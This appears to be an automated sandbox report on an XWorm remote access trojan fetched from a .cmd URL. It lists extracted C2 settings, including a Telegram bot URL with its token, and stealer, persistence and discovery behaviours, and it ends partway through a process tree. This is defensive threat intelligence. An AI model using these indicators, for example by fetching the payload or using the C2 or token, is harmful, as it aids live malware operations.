xworm | hxxp://64[.]7[.]198[.]63/wtc[.]cmd

Analysis

max time kernel
127s
max time network
129s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
19-01-2025 12:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://64.7.198.63/wtc.cmd

Score

10^/10

xworm collection credential_access defense_evasion discovery execution persistence privilege_escalation rat spyware stealer trojan upx

Malware Config

Extracted

Family

xworm

Version

5.0

154.216.19.12:7000

Mutex

QHMc6qbZcmJeh5Wz

Attributes

install_file
USB.exe
telegram
https://api.telegram.org/bot7830414956:AAEyqRgiEQW-DV0wawv6-EaJ6kx7dVhrDyc

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3568-660-0x0000000000D70000-0x0000000000D80000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 2588 created 3244	2588	Guard.exe	52
PID 2588 created 3244	2588	Guard.exe	52
PID 5408 created 3244	5408	Guard.exe	52
PID 5408 created 3244	5408	Guard.exe	52
PID 5144 created 3244	5144	Guard.exe	52

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 20 IoCs

flow	pid	Process
10	3164	powershell.exe
11	3164	powershell.exe
12	960	powershell.exe
13	960	powershell.exe
19	5144	powershell.exe
20	5144	powershell.exe
21	3024	powershell.exe
22	3024	powershell.exe
23	5808	powershell.exe
24	5808	powershell.exe
26	4936	powershell.exe
27	4936	powershell.exe
32	1136	powershell.exe
33	1136	powershell.exe
34	5736	powershell.exe
35	5736	powershell.exe
37	5476	powershell.exe
38	5476	powershell.exe
39	4384	powershell.exe
40	4384	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 35 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2116	powershell.exe
2188	powershell.exe
848	powershell.exe
5188	powershell.exe
4936	powershell.exe
4604	powershell.exe
6120	powershell.exe
3024	powershell.exe
956	powershell.exe
5736	powershell.exe
4384	powershell.exe
4056	powershell.exe
1028	powershell.exe
2344	powershell.exe
5476	powershell.exe
3164	powershell.exe
960	powershell.exe
5144	powershell.exe
5808	powershell.exe
1136	powershell.exe
2560	powershell.exe
5348	powershell.exe
3424	powershell.exe
5732	powershell.exe
1404	powershell.exe
5832	powershell.exe
1268	powershell.exe
5864	powershell.exe
5156	powershell.exe
3668	powershell.exe
5892	powershell.exe
3216	powershell.exe
2800	powershell.exe
224	powershell.exe
384	powershell.exe

Clipboard Data 1 TTPs 6 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1140	cmd.exe
5460	powershell.exe
956	cmd.exe
5044	powershell.exe
5952	cmd.exe
4604	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url	cmd.exe

Executes dropped EXE 18 IoCs

pid	Process
2132	wts.exe
2848	winb.exe
3372	winb.exe
2588	Guard.exe
5612	rar.exe
1040	wts.exe
5408	Guard.exe
5328	winb.exe
5348	wts.exe
1720	winb.exe
3568	jsc.exe
5144	Guard.exe
3744	rar.exe
4512	Guard.exe
3204	Guard.exe
472	rar.exe
1108	jsc.exe
784	jsc.exe

Loads dropped DLL 64 IoCs

pid	Process
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
3372	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
1720	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
5272	winb.exe
4632	winb.exe
4632	winb.exe
4632	winb.exe
4632	winb.exe
4632	winb.exe
4632	winb.exe
4632	winb.exe
4632	winb.exe
4632	winb.exe
4632	winb.exe
4632	winb.exe
4632	winb.exe
4632	winb.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000400000002a852-139.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 9 IoCs

discovery

Process Discovery

T1057

pid	Process
3224	tasklist.exe
4956	tasklist.exe
880	tasklist.exe
2964	tasklist.exe
4648	tasklist.exe
5640	tasklist.exe
5540	tasklist.exe
3336	tasklist.exe
3900	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x001c00000002aae4-190.dat	upx
behavioral1/files/0x001900000002aac9-197.dat	upx
behavioral1/memory/3372-199-0x00007FFEC60C0000-0x00007FFEC60E7000-memory.dmp	upx
behavioral1/memory/3372-201-0x00007FFEE2F10000-0x00007FFEE2F1F000-memory.dmp	upx
behavioral1/files/0x001900000002aae0-200.dat	upx
behavioral1/files/0x001900000002aad0-217.dat	upx
behavioral1/files/0x001900000002aacf-216.dat	upx
behavioral1/files/0x001900000002aace-215.dat	upx
behavioral1/files/0x001900000002aacd-214.dat	upx
behavioral1/files/0x001900000002aacc-213.dat	upx
behavioral1/files/0x001900000002aacb-212.dat	upx
behavioral1/files/0x001900000002aaca-211.dat	upx
behavioral1/files/0x001900000002aac8-210.dat	upx
behavioral1/files/0x001900000002aaeb-209.dat	upx
behavioral1/files/0x001c00000002aaea-208.dat	upx
behavioral1/files/0x001900000002aae9-207.dat	upx
behavioral1/files/0x001900000002aae3-204.dat	upx
behavioral1/files/0x001900000002aadf-203.dat	upx
behavioral1/memory/3372-194-0x00007FFEC18A0000-0x00007FFEC1F03000-memory.dmp	upx
behavioral1/memory/3372-227-0x00007FFEDCFE0000-0x00007FFEDD00B000-memory.dmp	upx
behavioral1/memory/3372-229-0x00007FFECB820000-0x00007FFECB839000-memory.dmp	upx
behavioral1/memory/3372-231-0x00007FFECB7F0000-0x00007FFECB815000-memory.dmp	upx
behavioral1/memory/3372-241-0x00007FFEC7C70000-0x00007FFEC7DEF000-memory.dmp	upx
behavioral1/memory/3372-246-0x00007FFEE3290000-0x00007FFEE329D000-memory.dmp	upx
behavioral1/memory/3372-245-0x00007FFECB7D0000-0x00007FFECB7E9000-memory.dmp	upx
behavioral1/memory/3372-249-0x00007FFEC63B0000-0x00007FFEC63E4000-memory.dmp	upx
behavioral1/memory/3372-253-0x00007FFEC18A0000-0x00007FFEC1F03000-memory.dmp	upx
behavioral1/memory/3372-254-0x00007FFEC60C0000-0x00007FFEC60E7000-memory.dmp	upx
behavioral1/memory/3372-255-0x00007FFEC5BD0000-0x00007FFEC5C9E000-memory.dmp	upx
behavioral1/memory/3372-257-0x00007FFEC1360000-0x00007FFEC1893000-memory.dmp	upx
behavioral1/memory/3372-259-0x00007FFEC65D0000-0x00007FFEC65E4000-memory.dmp	upx
behavioral1/memory/3372-261-0x00007FFEE0090000-0x00007FFEE009D000-memory.dmp	upx
behavioral1/memory/3372-266-0x00007FFEC1F80000-0x00007FFEC2033000-memory.dmp	upx
behavioral1/memory/3372-273-0x00007FFECB7F0000-0x00007FFECB815000-memory.dmp	upx
behavioral1/memory/3372-392-0x00007FFEC7C70000-0x00007FFEC7DEF000-memory.dmp	upx
behavioral1/memory/3372-485-0x00007FFEC63B0000-0x00007FFEC63E4000-memory.dmp	upx
behavioral1/memory/3372-488-0x00007FFEC5BD0000-0x00007FFEC5C9E000-memory.dmp	upx
behavioral1/memory/3372-508-0x00007FFEC1360000-0x00007FFEC1893000-memory.dmp	upx
behavioral1/memory/3372-524-0x00007FFEC7C70000-0x00007FFEC7DEF000-memory.dmp	upx
behavioral1/memory/3372-518-0x00007FFEC18A0000-0x00007FFEC1F03000-memory.dmp	upx
behavioral1/memory/3372-533-0x00007FFEC18A0000-0x00007FFEC1F03000-memory.dmp	upx
behavioral1/memory/3372-561-0x00007FFEC1F80000-0x00007FFEC2033000-memory.dmp	upx
behavioral1/memory/3372-560-0x00007FFEE0090000-0x00007FFEE009D000-memory.dmp	upx
behavioral1/memory/3372-559-0x00007FFEC65D0000-0x00007FFEC65E4000-memory.dmp	upx
behavioral1/memory/3372-558-0x00007FFEC5BD0000-0x00007FFEC5C9E000-memory.dmp	upx
behavioral1/memory/3372-557-0x00007FFEC63B0000-0x00007FFEC63E4000-memory.dmp	upx
behavioral1/memory/3372-556-0x00007FFEE3290000-0x00007FFEE329D000-memory.dmp	upx
behavioral1/memory/3372-555-0x00007FFECB7D0000-0x00007FFECB7E9000-memory.dmp	upx
behavioral1/memory/3372-554-0x00007FFEC7C70000-0x00007FFEC7DEF000-memory.dmp	upx
behavioral1/memory/3372-553-0x00007FFECB7F0000-0x00007FFECB815000-memory.dmp	upx
behavioral1/memory/3372-552-0x00007FFECB820000-0x00007FFECB839000-memory.dmp	upx
behavioral1/memory/3372-551-0x00007FFEDCFE0000-0x00007FFEDD00B000-memory.dmp	upx
behavioral1/memory/3372-550-0x00007FFEC60C0000-0x00007FFEC60E7000-memory.dmp	upx
behavioral1/memory/3372-549-0x00007FFEE2F10000-0x00007FFEE2F1F000-memory.dmp	upx
behavioral1/memory/3372-548-0x00007FFEC1360000-0x00007FFEC1893000-memory.dmp	upx
behavioral1/memory/1720-626-0x00007FFECE3D0000-0x00007FFECEA33000-memory.dmp	upx
behavioral1/memory/1720-633-0x00007FFEE9510000-0x00007FFEE951F000-memory.dmp	upx
behavioral1/memory/1720-632-0x00007FFEDFD00000-0x00007FFEDFD27000-memory.dmp	upx
behavioral1/memory/1720-641-0x00007FFEDB940000-0x00007FFEDB96B000-memory.dmp	upx
behavioral1/memory/1720-642-0x00007FFEDD3F0000-0x00007FFEDD409000-memory.dmp	upx
behavioral1/memory/1720-643-0x00007FFEC7280000-0x00007FFEC72A5000-memory.dmp	upx
behavioral1/memory/1720-644-0x00007FFEC6E80000-0x00007FFEC6FFF000-memory.dmp	upx
behavioral1/memory/1720-645-0x00007FFECB7A0000-0x00007FFECB7B9000-memory.dmp	upx
behavioral1/memory/1720-646-0x00007FFEE3290000-0x00007FFEE329D000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guard.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 6 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4716	netsh.exe
4660	cmd.exe
1464	netsh.exe
4816	cmd.exe
5600	netsh.exe
5416	cmd.exe

Delays execution with timeout.exe 5 IoCs

evasion

pid	Process
4064	timeout.exe
4092	timeout.exe
492	timeout.exe
5344	timeout.exe
1968	timeout.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3976	WMIC.exe
2228	WMIC.exe
5924	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers system information 1 TTPs 3 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5624	systeminfo.exe
4752	systeminfo.exe
5976	systeminfo.exe

Kills process with taskkill 7 IoCs

evasion

pid	Process
5968	taskkill.exe
5724	taskkill.exe
3984	taskkill.exe
848	taskkill.exe
5244	taskkill.exe
5792	taskkill.exe
6012	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133817617023109841"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000_Classes\Local Settings	chrome.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\wtc.cmd:Zone.Identifier	chrome.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2268	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
436	chrome.exe
436	chrome.exe
2116	powershell.exe
2116	powershell.exe
4604	powershell.exe
4604	powershell.exe
3164	powershell.exe
3164	powershell.exe
2188	powershell.exe
2188	powershell.exe
2344	powershell.exe
2344	powershell.exe
1028	powershell.exe
960	powershell.exe
960	powershell.exe
1028	powershell.exe
1028	powershell.exe
960	powershell.exe
848	powershell.exe
848	powershell.exe
848	powershell.exe
2560	powershell.exe
2560	powershell.exe
3216	powershell.exe
3216	powershell.exe
2800	powershell.exe
2800	powershell.exe
2588	Guard.exe
2588	Guard.exe
5460	powershell.exe
5460	powershell.exe
2560	powershell.exe
2560	powershell.exe
5612	powershell.exe
5612	powershell.exe
2588	Guard.exe
2588	Guard.exe
3216	powershell.exe
3216	powershell.exe
2800	powershell.exe
5612	powershell.exe
5460	powershell.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
5348	powershell.exe
5348	powershell.exe
5512	powershell.exe
5512	powershell.exe
5832	powershell.exe
5832	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
436	chrome.exe
436	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe
Token: SeShutdownPrivilege	436	chrome.exe
Token: SeCreatePagefilePrivilege	436	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
2132	wts.exe
2132	wts.exe
2132	wts.exe
2132	wts.exe
2132	wts.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
1040	wts.exe
1040	wts.exe
1040	wts.exe
1040	wts.exe
5408	Guard.exe
5408	Guard.exe
5408	Guard.exe
5348	wts.exe
5348	wts.exe
5348	wts.exe
5348	wts.exe
5348	wts.exe
5348	wts.exe
5348	wts.exe
5144	Guard.exe
5144	Guard.exe
5144	Guard.exe
2668	wts.exe
2668	wts.exe
2668	wts.exe
2668	wts.exe

Suspicious use of SendNotifyMessage 51 IoCs

pid	Process
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
436	chrome.exe
2132	wts.exe
2132	wts.exe
2132	wts.exe
2132	wts.exe
2132	wts.exe
2588	Guard.exe
2588	Guard.exe
2588	Guard.exe
1040	wts.exe
1040	wts.exe
1040	wts.exe
1040	wts.exe
5408	Guard.exe
5408	Guard.exe
5408	Guard.exe
5348	wts.exe
5348	wts.exe
5348	wts.exe
5348	wts.exe
5348	wts.exe
5348	wts.exe
5348	wts.exe
5144	Guard.exe
5144	Guard.exe
5144	Guard.exe
2668	wts.exe
2668	wts.exe
2668	wts.exe
2668	wts.exe
4512	Guard.exe
4512	Guard.exe
4512	Guard.exe
1580	wts.exe
1580	wts.exe
1580	wts.exe
1580	wts.exe
3204	Guard.exe
3204	Guard.exe
3204	Guard.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3568	jsc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 436 wrote to memory of 3200	436	chrome.exe	77
PID 436 wrote to memory of 3200	436	chrome.exe	77
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4760	436	chrome.exe	78
PID 436 wrote to memory of 4184	436	chrome.exe	79
PID 436 wrote to memory of 4184	436	chrome.exe	79
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80
PID 436 wrote to memory of 4852	436	chrome.exe	80

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://64.7.198.63/wtc.cmd
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffedfe1cc40,0x7ffedfe1cc4c,0x7ffedfe1cc58
    3⤵
    PID:3200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1792,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1732 /prefetch:2
    3⤵
    PID:4760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2040,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2096 /prefetch:3
    3⤵
    PID:4184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2168,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2180 /prefetch:8
    3⤵
    PID:4852
- - C:\Program Files\Google\Chrome\Application\chrome.exe
